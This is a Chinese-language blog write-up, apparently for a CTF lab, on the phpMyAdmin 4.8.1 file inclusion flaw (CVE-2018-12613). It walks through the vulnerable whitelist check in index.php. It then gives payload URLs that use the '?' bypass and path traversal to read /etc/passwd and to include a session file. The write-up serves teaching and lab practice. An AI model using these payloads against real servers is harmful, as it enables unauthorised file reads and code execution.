zoukankan      html  css  js  c++  java
  • phpmyadmin 4.8.1任意文件包含(CVE-2018-12613)

    简介

    环境复现:https://gitee.com/xiaohua1998/hctf_2018_warmup

    考察知识点:文件包含漏洞(phpmyadmin 4.8.1任意文件包含)

    线上平台:榆林学院内可使用协会内部的网络安全实验平台

    phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具。其index.php中存在一处文件包含逻辑,

    通过二次编码即可绕过检查,造成远程文件包含漏洞。

    受影响版本

    phpMyAdmin 4.8.0和4.8.1受到影响。

    代码审计

    通过审计index.php发现了文件包含 只要达到if里面的条件即可执行文件包含。

    ! empty($_REQUEST['target'])  //request接受的target不能为空
    && is_string($_REQUEST['target']) //target里面的值必须是字符串
    && ! preg_match('/^index/', $_REQUEST['target']) //target里面的值不能以index为头
    && ! in_array($_REQUEST['target'], $target_blacklist)  //target传进来的值不能是$target_backlist里面的值 如"import.php" 和"export.php"
    && Core::checkPageValidity($_REQUEST['target'])  //将值给checkPageValidity()函数 要返回true 才能全整体为真

    接下来继续追溯checkPageValidity 函数 

    public static function checkPageValidity(&$page, array $whitelist = []) {
        //首先判断$whitelist不为空 则将$goto_whitelist值赋值给$whitelist
            if (empty($whitelist)) {
                $whitelist = self::$goto_whitelist;  //这里得追溯下 看看$got_whitelist
            }
        //判断传进来的值 要存在而且
            if (! isset($page) || !is_string($page)) {
                return false;
            }
         //判断传进来的值是否在白名单内
            if (in_array($page, $whitelist)) {
                return true;
            }
    
        //截取传进来的?号
            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
          //判断$_page是否输入$page
            if (in_array($_page, $whitelist)) {
                return true;
            }
          
          //给page解码
            $_page = urldecode($page);
        //截取?号部分
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
    
            return false;
        }

     得到上面的情况我们可以构造payload:

    http://192.168.52.129:8080/?target=tbl_zoom_select.php?/../../../../../../etc/passwd

    漏洞利用方法

    包含session文件payload

    http://192.168.52.129:8080/?target=tbl_zoom_select.php?/../../../../../../tmp/sess_1d4171b498cba40de617fbea8902d5f0

  • 相关阅读:
    Python爬虫_分布式爬虫
    Python爬虫_selenium
    Python爬虫_scrapy框架
    Python爬虫_高性能爬取
    Python爬虫_三种数据解析方式
    Python爬虫_requests模块
    Django
    Python爬虫相关基础概念
    MySQL 多表结构的创建与分析
    mysql
  • 原文地址:https://www.cnblogs.com/xhds/p/12579041.html
Copyright © 2011-2022 走看看